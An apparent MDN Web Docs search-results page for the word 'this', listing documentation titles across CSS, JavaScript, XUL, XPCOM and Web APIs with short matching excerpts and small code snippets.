...
this system is useful in cases where the counter values are finite.
...And 12 more matches
Mastering Wrapping of Flex Items - CSS: Cascading Style Sheets
in
this guide i will explain how
this works, what it is designed for and what situations really require css grid layout rather than flexbox.
...
this means that if you have a set of flex items that are too wide for their container, they will overflow it.
...however, in
this case the items stay in their grid and don’t stretch out when there are fewer of them on the final row.
...And 12 more matches
Block and inline layout in normal flow - CSS: Cascading Style Sheets
in
this guide, we will explore the basics of how block and inline elements behave when they are part of the normal flow.
... the behaviour of elements which have a block or inline formatting context is also defined in
this specification.
...the behavior on block and inline elements is the same when working in a vertical writing mode, and we will explore
this in a future guide on flow layout and writing modes.
...And 12 more matches
Using CSS custom properties (variables) - CSS: Cascading Style Sheets
for example, --main-text-color is easier to understand than #00ff00, especially if
this same color is also used in other contexts.
...like any other property,
this is written inside a ruleset, like so: element { --main-bg-color: brown; } note that the selector given to the ruleset defines the scope that the custom property can be used in.
... a common best practice is to define custom properties on the :root pseudo-class, so that it can be applied globally across your html document: :root { --main-bg-color: brown; } however,
this doesn't always have to be the case: you maybe have a good reason for limiting the scope of your custom properties.
...And 12 more matches
Visual formatting model - CSS: Cascading Style Sheets
this includes continuous media such as a computer screen and paged media such as a book or document printed by browser print functions.
... much of the information about the visual formatting model is defined in css2, however, various level 3 specifications have added to
this information.
... in
this document we define the model and introduce some of the related terms and concepts, linking to more specific pages on mdn for further details.
...And 12 more matches
background-position - CSS: Cascading Style Sheets
the source for
this interactive example is stored in a github repository.
...
this specifies an edge against which to place the item.
...
this specifies the x coordinate relative to the left edge, with the y coordinate set to 50%.
...And 12 more matches
Live streaming web audio and video - Developer guides
this is a fairly complex and nascent subject with a lot of variables, so in
this article, we'll introduce you to the subject and let you know how you can get started.
... key differences between streamed and static media in
this case, we are using static media to describe media that is represented by a file, whether it be an mp3 or webm file.
...
this file sits on a server and can be delivered — like most other files — to the browser.
...And 12 more matches
Overview of events and handlers - Developer guides
this overview of events and event handling explains the code design pattern used to react to incidents occurring when a browser accesses a web page, and it summarizes the types of such incidents modern web browsers can handle.
...douglas crockford explains
this change effectively in several lectures, notably his talk, an inconvenient api: the theory of the dom, which shows the change in flow from the original browser flow to the event driven browser.
...the innovation of the dynamic approach allows for a page to be partially rendered even when the browser has not finished retrieving all resources;
this approach also allows for event driven actions, which javascript leverages.
...And 12 more matches
HTML5 Parser - Developer guides
this will result in more consistent behavior across browser implementations.
...
this behavior is consistent with ie and opera, and is different from gecko 1.x and webkit, which read it as two tags, foo and bar.
... if you previously tested your code in ie and opera, then you probably don't have any tags like
this.
...And 12 more matches
HTML5 - Developer guides
this set is sometimes called html5 & friends and often shortened to just html5.
... designed to be usable by all open web developers,
this reference page links to numerous resources about html5 technologies, classified into several groups based on their function.
... introduction to html5
this article introduces how to indicate to the browser that you are using html5 in your web design or web application.
...And 12 more matches
A hybrid approach - Developer guides
this brings us to our third approach, which aims to avoid some of the shortcomings the separate sites and responsive design approaches by combining them.
...
this hybrid approach centers around breaking down mobile development into its three goals, and then applying the best techniques available to tackle each goal individually.
...
this article presents one potential combination of techniques as an example here, but different combinations will be appropriate under different circumstances.
...And 12 more matches
Link prefetching FAQ - HTTP
yes, link prefetching as outlined in
this document does not violate any existing web standards.
... standardization of
this technique is part of the scope of html 5, see the current working draft, section §5.11.3.13.
...from
this, we receive document start & stop notifications, and we approximate idle time as the period between the last document stop and the next document start.
...And 12 more matches
Protocol upgrade mechanism - HTTP
this mechanism is optional; it cannot be used to insist on a protocol change.
... implementations can choose not to take advantage of an upgrade even if they support the new protocol, and in practice,
this mechanism is used mostly to bootstrap a websockets connection.
... note also that http/2 explicitly disallows the use of
this mechanism; it is specific to http/1.1.
...And 12 more matches
Memory Management - JavaScript
this automaticity is a potential source of confusion: it can give developers the false impression that they don't need to worry about memory management.
...
this can be done by reading or writing the value of a variable or an object property or even passing an argument to a function.
... release when the memory is not needed anymore the majority of memory management issues occur at
this phase.
...And 12 more matches
Function.prototype.call() - JavaScript
the call() method calls a function with a given
this value and arguments provided individually.
... the source for
this interactive example is stored in a github repository.
... syntax func.call([
thisarg[, arg1, arg2, ...argn]]) parameters
thisarg optional the value to use as
this when calling func.
...And 12 more matches
Object.defineProperty() - JavaScript
the source for
this interactive example is stored in a github repository.
... description
this method allows a precise addition to or modification of a property on an object.
...
this method allows these extra details to be changed from their defaults.
...And 12 more matches
Progressive loading - Progressive web apps (PWAs)
in
this article we will go even further and improve the performance of the app by progressively loading its resources.
...
this could be achieved by progressive loading — also known as lazy loading.
...
this is all about deferring loading of as many resources as possible (html, css, javascript), and only loading those immediately that are really needed for the very first experience.
...And 12 more matches
dominant-baseline - SVG: Scalable Vector Graphics
when the initial value, auto, would give an undesired result,
this property can be used to explicitly set the desired scaled-baseline-table.
...eline="baseline" x="30" y="20">baseline</text> <text dominant-baseline="middle" x="30" y="50">middle</text> <text dominant-baseline="hanging" x="30" y="80">hanging</text> </svg> usage notes value auto | text-bottom | alphabetic | ideographic | middle | central | mathematical | hanging | text-top default value auto animatable yes auto if
this property occurs on a <text> element, then the computed value depends on the value of the writing-mode attribute.
... if
this property occurs on a <tspan>, <tref>, <altglyph>, or <textpath> element, then the dominant-baseline and the baseline-table components remain the same as those of the parent text content element.
...And 12 more matches
Using templates and slots - Web Components
this article explains how you can use the <template> and <slot> elements to create a flexible template that can then be used to populate the shadow dom of a web component.
...
this was possible before, but it is made a lot easier by the html <template> element (which is well-supported in modern browsers).
...
this element and its contents are not rendered in the dom, but it can still be referenced using javascript.
...And 12 more matches
An Overview - XSLT: Extensible Stylesheet Language Transformations
« transforming xml with xslt the extensible stylesheet language/transform is a very powerful language, and a complete discussion of it is well beyond the scope of
this article, but a brief discussion of some basic concepts will be helpful in understanding the description of netscape's capabilities that follows.
...
this element will include at least one namespace declaration and the mandatory version attribute.
...
this latter namespace is not compatible with the one that the w3c eventually adopted and is not supported by netscape.
...And 12 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
creating html and javascript
this is the simplest case we'll look at, whereby you get emscripten to generate everything you need to run your code, as webassembly, in the browser.
...if we don’t specify
this, emscripten will just output asm.js, as it does by default.
... at
this point in your source directory you should have: the binary wasm module code (hello.wasm) a javascript file containing glue code to translate between the native c functions, and javascript/wasm (hello.js) an html file to load, compile, and instantiate your wasm code, and display its output in the browser (hello.html) running your example now all that remains is for you to load the resulting hello.html in a browser that supports webassembly.
...And 12 more matches
Communicating using "port" - Archive of obsolete content
this page is now obsolete, and its content has been incorporated into the main page on content scripts.
...thus, to emit a message from a content script: self.port.emit("mycontentscriptmessage", mycontentscriptmessagepayload); to receive a message from the add-on code: self.port.on("myaddonmessage", function(myaddonmessagepayload) { // handle the message }); compare
this to the technique used to receive built-in messages in the content script.
...by supplying a target for
this function in the page-mod's constructor you can register to receive messages from the content script, and take a reference to the worker so as to emit messages to the content script.
...And 11 more matches
Private Properties - Archive of obsolete content
this article discusses two common techniques: one using prefixes, the other closures.
...it is possible to read
this section on its own, but to fully appreciate how namespaces work, and the problem they set out to solve, it is recommended to read the entire article.
...consider the following example: function point(x, y) {
this._x = x;
this._y = y; } the properties _x and _y are intended to be private, and should only be accessed by member functions.
...And 11 more matches
simple-prefs - Archive of obsolete content
this gives users a consistent way to access and modify preferences across different add-ons.
...
this api is for your add-on's preferences.
... "preferences": [{ "name": "somepreference", "title": "some preference title", "description": "some short description for the preference", "type": "string", "value": "
this is the default string value" }, { "description": "how many of them we have.", "name": "myinteger", "type": "integer", "value": 8, "title": "how many?" }] } each preference is defined by a group of attributes.
...And 11 more matches
core/heritage - Archive of obsolete content
if (!(
this instanceof dog)) return new dog(name);
this.name = name; }; // to define methods you need to make a dance with a special 'prototype' // property of the constructor function.
...
this is too much machinery exposed.
...ruff!' }; // subclassing a `dog` function pet(name, breed) { // once again we do our little dance if (!(
this instanceof pet)) return new pet(name, breed); dog.call(
this, name);
this.breed = breed; } // to subclass, you need to make another special dance with special // 'prototype' properties.
...And 11 more matches
remote/child - Archive of obsolete content
it provides two main things: access to web content loaded into
this child process port mechanisms to communicate with the main process interacting with web content to interact with web content, the sdk/remote/child module provides a frames property that's a list of all content frames loaded into
this child process.
... isremote a boolean property indicating whether
this process is remote from the main process or not.
... frames a list of the content frames in
this process.
...And 11 more matches
Bookmarks - Archive of obsolete content
this article offers examples for how to perform common bookmark management tasks using the bookmarks service.
...for example, to create a new folder in the bookmarks menu: var menufolder = bmsvc.bookmarksmenufolder; // bookmarks menu folder var newfolderid = bmsvc.createfolder(menufolder, "folder name here", bmsvc.default_index);
this code locates the bookmarks menu's folder, then creates a new folder named "folder name here" in it.
... you can easily change
this code to insert the new folder into the bookmarks toolbar by changing bookmarksmenufolder to another folder attribute.
...And 11 more matches
Adding sidebars - Archive of obsolete content
for
this purpose we'll also look at some handy xul elements in
this section.
...--> </hbox> </deck> note how
this is one of the few cases where an attribute of an element is named using camel case instead of all small caps.
...the code is easier to read and maintain
this way.
...And 11 more matches
Security best practices in extensions - Archive of obsolete content
this document is intended as a guide for developers to promote best practices in securing your extension.
...
this is written from the perspective of a firefox extension, but most items apply to extensions for other mozilla-based applications such as thunderbird or seamonkey.
...a more detailed explanation of
this process is in displaying web content in an extension without security issues.
...And 11 more matches
Bookmark Keywords - Archive of obsolete content
the key to
this ability, if you'll pardon the pun, is the ability to add a keyword to any mozilla bookmark.
... under ordinary circumstances,
this might be used to reduce typing of a common url: http://www.cnn.com/ could be given the keyword cnn.
... laying the groundwork we're going to pick a relatively easy example to illustrate
this process: a keymark that will let the user jump straight to a specific bugzilla entry by entering its number.
...And 11 more matches
Dehydra Function Reference - Archive of obsolete content
process_type(type) dehydra calls
this for each class, struct, enum, union, and typedef declaration.
... process_function(decl, body) dehydra calls
this for each function definition (declarations without bodies are not included), including both top-level functions, class member functions, and inline class member functions.
...
this is useful for finalizing analyses.
...And 11 more matches
Anonymous Content - Archive of obsolete content
this template describes a content tree that will be generated around the bound element during binding attachment.
... an element declared in a bound document using a single tag can then be constructed out of multiple child elements, and
this implementation is hidden from the bound document.
...a sample xbl binding for the file widget might look as follows: <binding id="fileupload"> <content> <html:input type="text"/> <html:input type="button"/> </content> </binding> because
this content is not visible to its parent element, it is said to be anonymous content.
...And 11 more matches
Example Sticky Notes - Archive of obsolete content
view
this example <!doctype html public "-//w3c//dtd html 4.01//en" "http://www.w3.org/tr/html401/strict.dtd"> <html> <head> <title>xbl demo : sticky notes</title> <meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> <style type="text/css"> body { background-color: #ffffff; color: #000000; font: 1em verdana, sans-serif; } h1 { font-size: 1.5em; } /* binding: */ .sticker { -moz-binding: url(notes.xml#default); } </style> </head> <body> <h1><a href="http://developer.mozilla.org/en/docs/xbl:xbl_1.0_reference">xbl</a> demo : sticky notes</h1> <div class="sticker"><p>acme, inc.
...you add a binding file using -moz-binding style rule and you address a particular binding by its id: -moz-binding: url(notes.xml#default)
this id is local within the binding file (not visible in the target document dom tree).
...--> <stylesheet src="notes.css"/> </resources> <content> <!--
this svg graphics will be added automatically around each bound element.
...And 11 more matches
Accessing Files - Archive of obsolete content
there are alternative xpcom apis you can use, your help in updating
this pages to use the supported api is very much welcome!
...accessing files
this section describes how to create a file reference.
...
this allows files to used in a portable way.
...And 11 more matches
MenuModification - Archive of obsolete content
this method will create a new menuitem element and insert it into the popup.
...
this method may only be used with the menu element.
... <script> function addtomenu() { var menu = document.getelementbyid("edit-menu"); menu.appenditem("insert", "insert"); } </script> <menu id="edit-menu"/> <button label="add" oncommand="addtomenu()"/> in
this example, the addtomenu function is called when the button is pressed.
...And 11 more matches
Tooltips - Archive of obsolete content
this is a useful means of providing additional details about a user interface without cluttering up the main interface.
...for
this, the tooltiptext attribute may be used, which is valid for all xul elements.
... the value of
this attribute should be the text to appear in the tooltip.
...And 11 more matches
RDF Query Syntax - Archive of obsolete content
</rule> </template> </vbox>
this query has two statements, each specified with a different tag.
...
this is done with the content tag.
...the seed result will be created like
this: (?start = http://www.xulplanet.com/rdf/a) the variable ?start is determined from the tag's 'uri' attribute.
...And 11 more matches
Static Content - Archive of obsolete content
this item doesn't need to be generated from the datasource.
...
this content is displayed as is without affecting the generated content from the template.
... object="?start"/> <triple subject="?country" predicate="http://purl.org/dc/elements/1.1/title" object="?countrytitle"/> </query> <action> <menupopup> <menuitem uri="?country" label="?countrytitle" value="?country"/> </menupopup> </action> </template> </menulist> the only difference between the previous example and
this one is that the menulist element has some additional content added before the template.
...And 11 more matches
Template and Tree Listeners - Archive of obsolete content
you would implement
this object with these two methods if you wish to be notified when the template is rebuilt using the builder's rebuild call.
...the primary use of
this listener is to store some state before the template is rebuilt and restore it afterwards.
...
this listener will also work for tree builders, and will call the appropriate methods before and after the tree has been generated.
...And 11 more matches
Adding HTML Elements - Archive of obsolete content
however,
this section will describe how to use them anyway.
...
this way, mozilla can distinguish the html tags from the xul ones.
...xmlns:html="http://www.w3.org/1999/xhtml"
this is a declaration of html much like the one we used to declare xul.
...And 11 more matches
Broadcasters and Observers - Archive of obsolete content
to do
this, we can use broadcasters.
...
this is a useful way to simplify the amount of code you need to write.
... example 1 : source view <command id="my_command" label="open"/> <button command="my_command"/> <checkbox label="open in a new window" command="my_command"/> in
this example, the button does not have a label attribute, however it is attached to a command that does.
...And 11 more matches
More Button Features - Archive of obsolete content
« previousnext » in
this section, we will look at some additional features of buttons.
...you can change
this position by using two other attributes.
...
this will be explained in a moment.
...And 11 more matches
More Event Handlers - Archive of obsolete content
« previousnext » in
this section, the event object is examined and additional events are described.
...depending on how you attach the event listener to an element, there are different ways of doing
this.
...if
this call was removed, both listeners would be called and both alerts would appear.
...And 11 more matches
XML - Archive of obsolete content
this article describes the relationship of xul to xml, its parent language.
...it attempts to balance precise control of layout with flexibility and ease of use, and in
this respect it does a great job.
... xul is made out of xml you don't need to know all about xml in order to use xul, but you may want to read through
this article to get a sense of xul's pedigree as a specialized markup language.
...And 11 more matches
checkbox - Archive of obsolete content
this is most commonly rendered as a box when the element is off and a box with a check when the element is on.
... attributes accesskey, checked, command, crop, disabled, src, label, preference, tabindex properties accesskey, accessibletype, checked, command, crop, disabled, src, label, tabindex examples <checkbox label="enable javascript" checked="true"/> <checkbox label="enable java" checked="false"/> attributes accesskey type: character
this should be set to a character that is used as a shortcut key.
...
this should be one of the characters that appears in the label attribute for the element.
...And 11 more matches
iframe - Archive of obsolete content
this content is a separate document.
...
this can be a serious security vulnerability, for example if you use src="http://...".
... when used in
this case, please see displaying web content in an extension without security issues.
...And 11 more matches
radio - Archive of obsolete content
alue properties accesskey, accessibletype, control, crop, disabled, image, label, radiogroup, selected, tabindex, value examples <radiogroup> <radio id="orange" label="red" accesskey="r"/> <radio id="violet" label="green" accesskey="g" selected="true"/> <radio id="yellow" label="blue" accesskey="b" disabled="true"/> </radiogroup> attributes accesskey type: character
this should be set to a character that is used as a shortcut key.
...
this should be one of the characters that appears in the label attribute for the element.
...if you wish to use the value none and the displayed text is larger than
this maximum width, you may be able to use the max-width css property (or the maxwidth attribute) to override
this size.
...And 11 more matches
Getting Started - Archive of obsolete content
introduction
this tutorial is an introduction to really simple syndication (rss).
...
this tutorial follows the mantra thatthe best way to learn is to do .
... because of
this, you will be creating your own rss files by hand.
...And 11 more matches
XForms Input Element - Archive of obsolete content
introduction
this element is an important and oft-used xforms element to show and change the instance data to which
this xforms control is bound (see the spec).
... attributes ui common appearance - the value of
this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent
this control accesskey - used to specify the keyboard shortcut for focusing
this control single-node binding special inputmode - not supported for
this control incremental - supported.
...if "false", or the incremental attribute is omitted on
this element then the bound instance node will be updated when the control loses the focus.
...And 11 more matches
Issues Arising From Arbitrary-Element hover - Archive of obsolete content
this technote explains the source of the problems and how to avoid encountering them.
...
this innovation, first introduced by microsoft® internet explorer and later adopted into the css specification, is very popular for the styling of text links, particularly those that are supposed to look and act like javascript-driven "rollovers." however, advancing css support in browsers has caused some unexpectedly aggressive hovering behavior on some pages.
...
this has not traditionally been the case.
...And 11 more matches
XUL Parser in Python - Archive of obsolete content
warning: the content of
this article may be out of date.
...
this article is from 2000.
... v.00001 to celebrate activestate's recent announcement about support for perl and python in mozilla, i have put together
this little python script that parses your local xul and builds a list of all the xul elements and their attributes in an html page.
...And 11 more matches
Unconventional controls - Game development
but imagine going even further — in
this article we will explore various unconventional ways to control your web game, some more unconventional than others.
...captain rogers had the keyboard controls implemented already:
this.cursors =
this.input.keyboard.createcursorkeys(); //...
... if(
this.cursors.right.isdown) { // move player right } it works out of the box.
...And 11 more matches
Plug-in Development Overview - Gecko Plugin API Reference
you'll find an overview of the plug-in api methods in
this chapter, as well as separate chapters for all of the major functional areas of the plug-in api.
...in
this case to ensure the plug-in file will be loaded, it should have a name in the form of "np*.dll".
... for
this the version stamp of the embedded resource of the plug-in dll should contain the following set of string/value pairs: mimetype: for mime types fileextents: for file extensions fileopenname: for file open template productname: for plug-in name filedescription: for description language: for language in use in the mime types and file extensions strings, multiple values are separated by the "|" character, for example: video/quicktime|audio/aiff|image/jpeg the version stamp will be loaded only if it has been created with the language set to "us english" and the character set to "windows multilingual" in yo...
...And 11 more matches
Dealing with files - Learn web development
this folder can live anywhere you like, but you should put it somewhere where you can easily find it, maybe on your desktop, in your home folder, or at the root of your hard drive.
...
this is where all your website projects will live.
... inside
this first folder, create another folder to store your first website in.
...And 11 more matches
Choosing the right approach - Learn web development
previous overview: asynchronous to finish
this module off, we'll provide a brief discussion of the different coding techniques and features we've discussed throughout, looking at which one you should use when, with recommendations and reminders of common pitfalls where appropriate.
... we'll probably add to
this resource as time goes on.
...
this is the precursor to promises; it's not as efficient or flexible.
...And 11 more matches
Web performance - Learn web development
this is known as web performance, and in
this module you'll focus on the fundamentals of how to create performant websites.
...we do however recommend that before you work through
this module, you at least get a basic idea of web development by working through our getting started with the web module.
... it would also be helpful to go a bit deeper into these topics, with modules such as: introduction to html css first steps javascript first steps once you've worked through
this module, you'll probably be excited to go deeper into web performance — you can find a lot of further teachings in our main mdn web performance section, including overviews of performance apis, testing and analysis tools, and performance bottleneck gotchas.
...And 11 more matches
React resources - Learn web development
component-level styles although
this tutorial doesn't use
this approach, many react applications define their styles on a per-component basis, rather than in a single, monolithic stylesheet.
...for
this app, we could have for example written a dedicated form.css file to house the styles of those respective components, then imported the styles into their respective modules like
this: import form from './form'; import './form.css'
this approach makes it easy to identify and manage the css that belongs to a specific component.
... however, it also fragments your stylesheet across your codebase, and
this fragmentation might not be worthwhile.
...And 11 more matches
Vue resources - Learn web development
this is the best place to start learning vue in depth.
...
this is where you can report issues and/or contribute directly to the vue codebase.
...
this contains information on customizing and extending the output you are generating via the cli.
...And 11 more matches
Accessibility Features in Firefox
we are optimistic that jaws support will catch up
this year.
...
this allows copying arbitrary pieces of text to the clipboard.
... the f7 key toggles
this feature on/off.
...And 11 more matches
Accessibility/LiveRegionDevGuide
this page is currently under construction.
...
this developer's guide lays out general guidelines that assistive technology (at) developers can use in developing live region support.
...
this guide was written from an atk/at-spi point of view as part of the orca live region support project.
...And 11 more matches
mach
this will use # the mozconfig from the object directory.
... you can add the command to your .profile so it will run automatically when you start the shell: source /path/to/mozilla-central/python/mach/bash-completion.sh
this will enable tab completion of mach command names, and in the future it may complete flags and other arguments too.
...so
this 3rd point does not make much sense, does it?
...And 11 more matches
AsyncShutdown.jsm
failing to inform the system of
this requirement can (and has been known to) cause data loss.
...since the data is saved to the profile,
this must be completed during phase profilebeforechange.
...// collect any information that may be useful for debugging shutdown issues with
this blocker return status; } }); in
this example, at some point during phase profilebeforechange, function condition will be called.
...And 11 more matches
Deferred
starting from gecko 30,
this object is obsolete and should not be used anymore.
...if the associated promise has already been resolved, either to a value, a rejection, or another promise,
this method does nothing.
... note:
this function is bound to its associated promise when promise.defer() is called, and can be called with any value of
this.
...And 11 more matches
Localization and Plurals
you're likely here because you're localizing a .properties file and it had a link to
this page.
...
this page is to help explain how to localize these strings so that the correct plural form is shown to the user.
... usage here are a couple terms used in
this page to help keep things clear: plural rule: for a given language, there is a grammatical rule on how to change words, depending on the number qualifying the word.
...And 11 more matches
Release phase
here, we'll continue to stay true to the original intent of
this guide and only present you with the technical information you need to become an official release.
...depending on which branch you work on, the url of your repository might look like
this: http://hg.mozilla.org/releases/l10n-central/x-testing if you followed the koala or plain text approach, you probably already have a local clone of the repository.
...
this should be your mozilla ldap account name.
...And 11 more matches
BloatView
xpcom_mem_bloat_log if set,
this causes a bloat log to be printed on program exit, and each time nstracerefcnt::dumpstatistics is called.
...
this log contains data on leaks and bloat (a.k.a.
... xpcom_mem_leak_log
this is similar to xpcom_mem_bloat_log, but restricts the log to only show data on leaks.
...And 11 more matches
Tutorial: Embedding Rhino
this tutorial leads you through the steps from a simple embedding to more customized, complex embeddings.
...
this document will link to them using lxr.
... in
this document, javascript code will be in green, java code will be in green, and shell logs will be in purple.
...And 11 more matches
JSFastNative
obsolete since javascript 1.8.5
this feature is obsolete.
...
this article covers features introduced in spidermonkey 1.8 jsfastnative is the type of fast native functions in the jsapi.
... apis such as js_initclass and js_definefunctions can create custom methods that are implemented as c/c++ functions of
this type, instead of jsnative.
...And 11 more matches
JS_InitClass
in a js_threadsafe build, the caller must be in a request on
this jscontext.
...
this must not be null.
... once js_initclass creates the new class's constructor, it stores the constructor as a property in
this object.
...And 11 more matches
Split object
this feature is complicated.
...firefox has to maintain
this for web compatibility.
... (the problem is even a bit subtler than
this, since the reference may be direct or indirect.
...And 11 more matches
History Service Design
this document provides a high-level overview of the overall history service design of the places system.
...
this system provides additional performance, flexibility, and querying capabilities over the old one, for both end users and extensions developers.
...
this involves storing informations on all of the user's visits, including visit time, type of visit and meta data.
...And 11 more matches
Manipulating bookmarks using Places
this article offers examples for how to perform common bookmark management tasks using the bookmarks service.
...for example, to create a new folder in the bookmarks menu: var menufolder = bmsvc.bookmarksmenufolder; // bookmarks menu folder var newfolderid = bmsvc.createfolder(menufolder, "folder name here", bmsvc.default_index);
this code locates the bookmarks menu's folder, then creates a new folder named "folder name here" in it.
... you can easily change
this code to insert the new folder into the bookmarks toolbar by changing bookmarksmenufolder to another folder attribute.
...And 11 more matches
imgIDecoderObserver
image/public/imgidecoderobserver.idlscriptable
this interface is used both for observing imgidecoder objects and for observing imgirequest objects.
...
this means that the frames no longer exist in decoded form, and any attempt to access or draw the image will initiate a new series of progressive decode notifications.
...
this should be fired at the earliest possible time.
...And 11 more matches
mozIStorageService
storage/public/mozistorageservice.idlscriptable
this interface lets you open a mozistorageconnection to a database file, as well as create backups of an unopened database file.
...
this is the only way to open a database connection.
...backupdatabasefile(in nsifile adbfile, in astring abackupfilename, [optional] in nsifile abackupparentdirectory); mozistorageconnection opendatabase(in nsifile adatabasefile); mozistorageconnection openspecialdatabase(in string astoragekey); mozistorageconnection openunshareddatabase(in nsifile adatabasefile); methods backupdatabasefile()
this method makes a backup of the specified file.
...And 11 more matches
nsIAccessNode
if the dom node for
this access node is "accessible", then a queryinterface to nsiaccessible will succeed.
... attribute type description document nsiaccessibledocument the document accessible that
this access node resides in.
...note: renamed from accessibledocument in gecko 2.0 domnode node the dom node
this nsiaccessnode is associated with.
...And 11 more matches
nsIBrowserSearchService
netwerk/base/public/nsibrowsersearchservice.idlscriptable please add a summary to
this article.
...to access
this service, use: var browsersearchservice = components.classes["@mozilla.org/browser/search-service;1"] .getservice(components.interfaces.nsibrowsersearchservice); attempting to use any method or attribute of
this interface before init() has completed will force the service to fall back to a slower, synchronous, initialization.
...
this is not an issue if your code is executed in reaction to a user interaction, as initialization is complete by then, but
this is an issue if your code is executed during startup.
...And 11 more matches
nsICategoryManager
xpcom/components/nsicategorymanager.idlscriptable
this interface provides access to a data structure that holds a list of name-value pairs, called categories, where each value is a list of strings.
...to use
this service, use: var categorymanager = components.classes["@mozilla.org/categorymanager;1"] .getservice(components.interfaces.nsicategorymanager); method overview string addcategoryentry(in string acategory, in string aentry, in string avalue, in boolean apersist, in boolean areplace); void deletecategory(in string acategory); void deletecategoryentry(in string acategory, in string aentry, in boolean apersist); nsisimpleenumerator enumeratecategories(); nsisimpleenumerator enumeratecategory(in string acategory); string getcategoryentry(in string acategory,...
... in string aentry); methods addcategoryentry()
this method sets the value for the given entry on the given category.
...And 11 more matches
nsIEventTarget
events may be sent to
this target from any thread by calling the dispatch method.
... implement
this interface in order to support receiving events from other threads.
...obsolete since gecko 1.9 constants dispatch flags constant value description dispatch_normal 0
this flag specifies the default mode of event dispatch, whereby the event is simply queued for later processing.
...And 11 more matches
nsINavHistoryResultObserver
1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 11.0 (firefox 11.0 / thunderbird 11.0 / seamonkey 2.8) note: in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1),
this interface replaced the older nsinavhistoryresultviewer interface, which only allowed one client at a time.
...n unsigned long aindex); void nodetagschanged(in nsinavhistoryresultnode anode); void nodetitlechanged(in nsinavhistoryresultnode anode, in autf8string anewtitle); void nodeurichanged(in nsinavhistoryresultnode anode, in autf8string anewuri); void sortingchanged(in unsigned short sortingmode); attributes attribute type description result nsinavhistoryresult the nsinavhistoryresult
this observer monitors.
... although
this attribute is read-write, you should not alter it directly; instead, call nsinavhistoryresult.addobserver() to add an observer to a result.
...And 11 more matches
nsIScriptError
to create an instance, use: var scripterror = components.classes["@mozilla.org/scripterror;1"] .createinstance(components.interfaces.nsiscripterror); note: the nsiscripterror2 interface was merged into
this interface in gecko 12.0.
...that subclass offered the nsiscripterror.initwithwindowid() method for that purpose; that method is now available in
this interface, however.
...
this is used to draw the arrow pointing to the problem character.
...And 11 more matches
nsIScriptableInputStream
xpcom/io/nsiscriptableinputstream.idlscriptable
this interface provides scriptable access to a nsiinputstream instance.
...note:
this method should not be used to determine the total size of a stream, even if the stream corresponds to a local file.
... moreover, since a stream may make available more than 2^32 bytes of data,
this method is incapable of expressing the entire size of the underlying data source.
...And 11 more matches
nsIServerSocket
netwerk/base/public/nsiserversocket.idlscriptable please add a summary to
this article.
... attributes attribute type description port long returns the port of
this server socket.
... methods asynclisten()
this method puts the server socket in the listening state.
...And 11 more matches
nsISessionStore
starting in firefox 3.5,
this preference is no longer used.
... exceptions thrown
this method throws a ns_error_illegal_value exception if the key doesn't exist.
... if the preference browser.sessionstate.enabled is false when
this method is called, then you will get an exception about "awindows[i] has no properties".
...And 11 more matches
nsISocketTransport
netwerk/base/public/nsisockettransport.idlscriptable
this interface specializes nsitransport for communication over network sockets.
...
this object supports nsibadcertlistener2 and nsisslerrorlistener for ssl connections, and possibly other interfaces.
... note:
this attribute cannot be changed once a stream has been opened.
...And 11 more matches
nsIWebBrowser
embedding/browser/webbrowser/nsiwebbrowser.idlscriptable
this interface is implemented by web browser objects.
... embedders use
this interface during initialization to associate the new web browser instance with the embedders chrome and to register any listeners.
... inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) warning:
this interface was frozen for a very long time, but was unfrozen for gecko 2.0.
...And 11 more matches
Declaring types
at the core of all
this is a set of predefined types provided by js-ctypes.
...for example, to define a new 32-bit integer variable with the value 5: var i = ctypes.int32_t(5); you can then pass a pointer to
this value to a c function that requires a pointer to a 32-bit integer, like
this: some_c_function(i.address()); declaring new primitive types there are times when you want to create new types that are simply new names for existing primitive types.
...to declare
this type, you can simply do: const dword = ctypes.uint32_t; after doing
this, dword is a ctype that can then be used to represent 32-bit unsigned integers.
...And 11 more matches
Plug-in Development Overview - Plugins
you'll find an overview of the plug-in api methods in
this chapter, as well as separate chapters for all of the major functional areas of the plug-in api.
...in
this case to ensure the plug-in file will be loaded, it should have a name in the form of "np*.dll".
... for
this the version stamp of the embedded resource of the plug-in dll should contain the following set of string/value pairs: mimetype: for mime types fileextents: for file extensions fileopenname: for file open template productname: for plug-in name filedescription: for description language: for language in use in the mime types and file extensions strings, multiple values are separated by the "|" character, for example: video/quicktime|audio/aiff|image/jpeg the version stamp will be loaded only if it has been created with the language set to "us english" and the character set to "windows multilingual" in yo...
...And 11 more matches
The JavaScript input interpreter - Firefox Developer Tools
if your input does not appear to be complete when you press enter, then the console treats
this as shift+enter , enabling you to finish your input.
... you can enter multiple lines of javascript by default in
this mode, pressing enter after each one.
...
this means that if you've hit a breakpoint in a function you get autocomplete for objects local to the function.
...And 11 more matches
CanvasRenderingContext2D - Web APIs
this code draws a house: // set line width ctx.linewidth = 10; // wall ctx.strokerect(75, 140, 150, 110); // door ctx.fillrect(130, 190, 40, 60); // roof ctx.beginpath(); ctx.moveto(50, 140); ctx.lineto(150, 60); ctx.lineto(250, 140); ctx.closepath(); ctx.stroke(); the resulting drawing looks like
this: reference drawing rectangles there are three methods that immediately draw rectangles to...
...
this method returns a canvaspattern.
...call
this method when you want to create a new path.
...And 11 more matches
Element.classList - Web APIs
this can then be used to manipulate the class list.
...string.prototype.trim polyfill if (!"".trim) string.prototype.trim = function(){ return
this.replace(/^[\s]+|[\s]+$/g, ''); }; (function(window){"use strict"; // prevent global namespace pollution if(!window.domexception) (domexception = function(reason){
this.message = reason}).prototype = new error; var wsre = /[\11\12\14\15\40]/, wsindex = 0, checkifvalidclasslistentry = function(o, v) { if (v === "") throw new domexception( "failed to execute '" + o + "' on 'domtokenlist':...
...ndow.object, hasownprop = object.prototype.hasownproperty; var defineproperty = object.defineproperty, allowtokenlistconstruction = 0, skippropchange = 0; function domtokenlist(){ if (!allowtokenlistconstruction) throw typeerror("illegal constructor"); // internally let it through } domtokenlist.prototype.tostring = domtokenlist.prototype.tolocalestring = function(){return
this.value}; domtokenlist.prototype.add = function(){ a: for(var v=0, arglen=arguments.length,val="",ele=
